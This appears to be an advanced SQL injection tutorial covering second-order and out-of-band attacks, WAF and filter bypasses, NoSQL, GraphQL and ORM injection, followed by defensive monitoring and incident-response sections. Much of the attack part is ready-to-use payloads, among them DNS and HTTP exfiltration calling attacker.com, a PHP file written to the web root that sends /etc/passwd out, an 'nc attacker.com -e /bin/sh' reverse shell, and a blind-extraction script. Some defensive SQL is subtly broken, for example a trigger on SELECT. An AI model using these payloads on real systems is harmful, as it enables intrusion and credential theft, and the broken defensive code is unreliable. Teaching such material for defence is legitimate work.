Expert Level

Advanced Exploitation Techniques

Second-Order Injections

Second-order injections occur when malicious input is stored by the application and later used in another SQL context:

1. **Example scenario**:
   - User registration stores sanitized username: user'-- - becomes user\'-- -
   - Profile page uses stored value unsafely: SELECT * FROM posts WHERE author = 'user\'-- -'
   - Comment is interpreted as SQL syntax, not as a literal value
2. **Detection techniques**:
   - Trace data flow through application
   - Inject payloads with delayed activation patterns
   - Create markers that survive initial sanitization
3. **Code example demonstrating vulnerability**:

php

```php
// Registration (sanitizes input)
$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "INSERT INTO users (username, password) VALUES ('$username', '$hashed_password')";
mysqli_query($conn, $query);

// Later in profile page (uses value unsafely)
$username = $_SESSION['username']; // Retrieved from database
$query = "SELECT * FROM posts WHERE author = '$username'"; // Vulnerable to second-order injection
$result = mysqli_query($conn, $query);
```

Out-of-Band Data Exfiltration

1. **DNS exfiltration**:

sql

```sql
-- MySQL
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\share\\file'))--
```

-- *SQL Server*

'; DECLARE @q VARCHAR(8000);SET @q=CONVERT(VARCHAR(8000),(SELECT @@version));EXEC('master..xp_dirtree "\\'+@q+'.attacker.com\a"')--

-- *Oracle*

' SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'||(SELECT user FROM dual)||'.attacker.com/"> %remote;]>'),'/l') FROM dual--

2. **HTTP exfiltration**:

sql

-- *MySQL (with INTO OUTFILE privilege)*

' UNION SELECT 1,2,3,4,"<?php $data=file_get_contents('/etc/passwd');$headers='X-Data: '.$data;$context=stream_context_create(['http'=>['header'=>$headers]]);file_get_contents('http://attacker.com/',false,$context); ?>" INTO OUTFILE '/var/www/html/exfil.php'#

-- *PostgreSQL*

'; CREATE OR REPLACE FUNCTION http_post(text) RETURNS integer AS $$

 DECLARE

 exec_cmd TEXT;

 BEGIN

  SELECT INTO exec_cmd 'select pg_stat_file($$nc attacker.com 80 -e /bin/sh$$)';

  EXECUTE exec_cmd;

  RETURN 1;

 END;

$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT http_post(version());--

Polyglot Payloads

SQL polyglots are payloads that work across different database systems:

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

This payload works in:

- MySQL (as comment and string termination)
- SQL Server (string termination with comment)
- PostgreSQL (string termination variants)

- Oracle (with slight modifications)

Custom Exploitation Frameworks

1. **Creating targeted exploits**:

python

```
def extract_data_with_blind_injection(url, table, column):
    extracted = ""
    for position in range(1, 30):  # Limit to reasonable length
        for char_code in range(32, 127):  # ASCII printable chars
            payload = f"1 AND ASCII(SUBSTRING((SELECT {column} FROM {table} LIMIT 1), {position}, 1))={char_code}"
            response = send_request(url, payload)
            if verify_true_condition(response):
                extracted += chr(char_code)
                break
    return extracted
```

2. **Advanced automation techniques**:
    - Binary search algorithms for blind extraction
    - Parallel query execution
    - Response timing normalization
    - Automatic database fingerprinting

Evasion Techniques

WAF Bypass Techniques

1. **Case manipulation**:

sql

```
' UnIoN/**/SeLeCt/**/1,2,3--
```

2. **Alternative encodings**:

sql

```
-- Hex encoding
' OR 0x1=0x1--

-- URL encoding
```

%27%20OR%201%3D1%20--

-- Double URL encoding

%2527%2520OR%25201%253D1%2520--

-- Unicode encoding

' OR Ǝ=Ǝ--

3. **SQL comments variations**:

sql

' UN/**/ION SEL/**/ECT username,password FR/**/OM users--

'/*!50000UnIoN*/ /*!50000SeLeCt*/ username,password /*!50000FrOm*/ users--

4. **Whitespace manipulation**:

sql

'OR(1)IN(1)--

'%09UnIoN%09SeLeCt%091,2,3--

5. **Function name obfuscation**:

sql

' UNION SELECT CONCAT_WS(CHAR(58),IFNULL(user,''),IFNULL(password,'')) FROM users--

' UNION SELECT CONCAT/*!50000(*/user,0x3a,password/*!)*/FROM users--

Advanced Filter Bypasses

1. **Logical equivalents**:

sql

-- *Equal alternatives*

' OR 2>1--

' OR 'a'='a'--

' OR true--

' OR 1 IS NOT NULL--

-- *AND alternatives*

' AND(true)AND('x')!='y

' && 1=1--

2. **Character substitution**:

sql

-- *Spaces alternatives*

'/**/OR/**/1=1--

'%09OR%091=1--

'%0AOR%0A1=1--

'%0DOR%0D1=1--

'+OR+1=1--

-- Equal sign alternatives

' OR 1 LIKE 1--

' OR 1 IN (1)--

3. **Advanced syntax alternatives**:

sql

-- *SELECT alternatives*

' UNION (SELECT username,password FROM users)--

-- OR alternatives

' || 1=1--

-- *Comment alternatives*

' UNION SELECT 1,2,3/*

4. **Non-alphanumeric injections**:

sql

-- *MySQL arithmetic-based injection*

' OR (/*!50000*/-~0);

-- XOR operations

' OR 1^0;

-- *Bitwise operations*

' OR (1&1);

Enterprise Defense Strategies

Runtime Application Self-Protection (RASP)

1. **Implementation approaches**:
    - Code instrumentation
    - Library hooking
    - VM/interpreter modifications
2. **Example Java RASP configuration**:

java

```java
// Adding security agent to JVM startup
java -javaagent:/path/to/security-agent.jar MyApplication
```

3. **Detection capabilities**:
    - SQL query structure analysis
    - Taint tracking from inputs to queries
    - Input transformation detection
    - Query execution profiling

Advanced Database Security

1. **Query firewalls**:
    - Proxy-based SQL filtering
    - Learning mode for establishing baseline behavior
    - Real-time query inspection
2. **Database activity monitoring**:

sql

```sql
-- Oracle Audit example
CREATE AUDIT POLICY data_access_audit_policy
ACTIONS SELECT ON hr.employees, UPDATE ON hr.employees,
        INSERT ON hr.employees, DELETE ON hr.employees;


AUDIT POLICY data_access_audit_policy;
```

3. **Data masking and tokenization**:

sql

```sql
-- PostgreSQL data masking example
CREATE OR REPLACE FUNCTION mask_credit_card() RETURNS trigger AS $$
BEGIN
  NEW.credit_card_number = 'XXXX-XXXX-XXXX-' || RIGHT(NEW.credit_card_number, 4);
  RETURN NEW;
END
$$ LANGUAGE plpgsql;

CREATE TRIGGER mask_cc_trigger BEFORE INSERT OR UPDATE ON customers
FOR EACH ROW EXECUTE PROCEDURE mask_credit_card();
```

4. **Custom function-level privileges**:

sql

```sql
-- MySQL example
CREATE FUNCTION get_salary(employee_id INT)
RETURNS DECIMAL(10,2)
READS SQL DATA
SQL SECURITY DEFINER
BEGIN
  DECLARE salary DECIMAL(10,2);
  IF (SELECT role FROM users WHERE id = SESSION_USER()) = 'hr' THEN
    SELECT salary INTO salary FROM employees WHERE id = employee_id;
    RETURN salary;
  ELSE
    RETURN 0;
  END IF;
END;
```

Zero-Trust Architecture for Database Access

1. **Implementing zero-trust**:
   - Identity-based access control
   - Just-in-time database credentials
   - Context-aware authentication

- Continuous validation

2. **Service mesh integration**:

yaml

```yaml
# Istio SQL authorization policy
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: db-access
  namespace: default
spec:
  selector:
    matchLabels:
      app: database
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/default/sa/application"]
    to:
    - operation:
        methods: ["SELECT"]
        paths: ["/api/v1/query"]
```

Emerging Threats

NoSQL Injection Techniques

1. **MongoDB injection**:

javascript

```javascript
// Vulnerable code
db.users.find({username: username, password: password});

// Attack payload
username: admin
password: {"$ne": ""}
```

// *Resulting query*

db.users.find({username: "admin", password: {"$ne": ""}});

2. **MongoDB operator abuse**:

javascript

```javascript
// $where operator injection
db.users.find({$where: "this.username === 'admin' || this.password === '" + password + "'"});

// Attack payload
password: "' || this.username === 'admin"

// JavaScript execution
password: "'; sleep(5000);"
```

3. **Aggregation pipeline injection**:

javascript

```javascript
// Vulnerable code
db.users.aggregate([
  {$match: JSON.parse(userProvidedJSON)}
]);

// Attack payload
userProvidedJSON: {"$match": {"$eq": 1}, "$project": {"passwordhash": 1}}
```

GraphQL Injection

1. **Introspection abuse**:

graphql

```graphql
query {
  __schema {
    types {
      name
      fields {
        name
```

```
      type {
        name
      }
    }
  }
 }
}
```

2. **Nested query attacks**:

graphql

```
query {
 user(id: "1") {
  posts(first: 999999) {
   comments(first: 999999) {
    replies(first: 999999) {
     # Causing resource exhaustion
    }
   }
  }
 }
}
```

3. **GraphQL batching exploitation**:

graphql

```
# Batch request to extract multiple users at once
query {
 user1: user(id: "1") { username, email }
 user2: user(id: "2") { username, email }
 user3: user(id: "3") { username, email }
 # ...continue for many users
}
```

ORM Framework Vulnerabilities

1. **Hibernate/JPA vulnerabilities**:

java

```java
// Criteria API injection
CriteriaBuilder cb = em.getCriteriaBuilder();
CriteriaQuery<User> query = cb.createQuery(User.class);
Root<User> root = query.from(User.class);
query.where(cb.equal(root.get("username"), username)); // Safe

// HQL injection
String hql = "FROM User WHERE username = '" + username + "'"; // Unsafe
List<User> results = em.createQuery(hql).getResultList();

// Native query injection
Query nativeQuery = em.createNativeQuery(
    "SELECT * FROM users WHERE username = '" + username + "'"); // Unsafe
```

2. **Entity mapping exploits**:

java

```java
@Entity
@Table(name = "users")
@SQLDelete(sql = "UPDATE users SET deleted = true WHERE id = ?") // Potentially unsafe if user-controlled
public class User {
    // ...
}
```

3. **Django ORM vulnerabilities**:

python

```python
# Safe query
User.objects.filter(username=username)

# Raw query (vulnerable)
User.objects.raw("SELECT * FROM auth_user WHERE username = '%s'" % username)
```

```
# Extra method (can be vulnerable)
User.objects.filter(id=user_id).extra(
    where=["groups = '%s'" % user_input]) # Unsafe
```

Forensics and Incident Response

Attack Detection Patterns

1. **SQL injection signatures in logs**:

```
# Web server logs
192.168.1.100 - - [23/Apr/2025:10:15:12 +0000] "GET /products.php?id=1'%20OR%201=1-- HTTP/1.1" 200 1532


# Database query logs
[23/Apr/2025 10:15:12] SELECT * FROM products WHERE id = '1' OR 1=1--'
```

2. **Detecting mass data extraction**:

```sql
-- Create a trigger for unusual data access
CREATE TRIGGER detect_mass_extraction
AFTER SELECT ON sensitive_table
FOR EACH ROW
BEGIN
    IF (SELECT COUNT(*) FROM information_schema.processlist
        WHERE info LIKE '%SELECT%FROM sensitive_table%'
        AND time > 10) > 3 THEN


        INSERT INTO security_alerts (timestamp, message, severity)
        VALUES (NOW(), 'Possible data extraction attack detected', 'HIGH');
    END IF;
END;
```

3. **Behavioral anomaly detection**:

```sql
-- Monitor for unusual query patterns
SELECT username, COUNT(*) as query_count,
```

```sql
    AVG(LENGTH(query)) as avg_query_length,
    MAX(execution_time) as max_exec_time
FROM query_log
WHERE timestamp > NOW() - INTERVAL 1 HOUR
GROUP BY username
HAVING query_count > (SELECT AVG(query_count) * 5 FROM
                     (SELECT COUNT(*) as query_count
                      FROM query_log
                      WHERE timestamp > NOW() - INTERVAL 24 HOUR
                      GROUP BY username) as baseline)
   OR avg_query_length > 1000
   OR max_exec_time > 10;
```

Incident Response Plan

1. **Immediate containment steps**:
   - Temporarily disable affected components
   - Implement emergency WAF rules
   - Enable additional logging
   - Revoke compromised credentials
2. **Forensic investigation**:
   - Extract and preserve logs
   - Create database snapshots
   - Review query history
   - Identify initial entry point
3. **Recovery process**:

sql

```sql
-- Reset compromised accounts
UPDATE users SET password_hash = NULL, require_password_reset = TRUE,
                 last_password_change = NOW()
WHERE username IN (SELECT username FROM suspicious_logins);


-- Review and revert unauthorized changes
```

```sql
SELECT table_name, operation_type, SQL_text, timestamp
FROM audit_logs
WHERE username = 'compromised_account'
ORDER BY timestamp DESC;
```

4. **Post-incident security hardening**:

```sql
-- Implement additional database monitoring
CREATE TRIGGER query_monitor
BEFORE INSERT, UPDATE, DELETE ON critical_table
FOR EACH ROW
INSERT INTO audit_log (user, action, table_name, timestamp, details)
VALUES (CURRENT_USER(), TG_OP, TG_TABLE_NAME, NOW(),
    CASE TG_OP
    WHEN 'INSERT' THEN NEW
    WHEN 'UPDATE' THEN OLD || ' -> ' || NEW
    WHEN 'DELETE' THEN OLD
    END);
```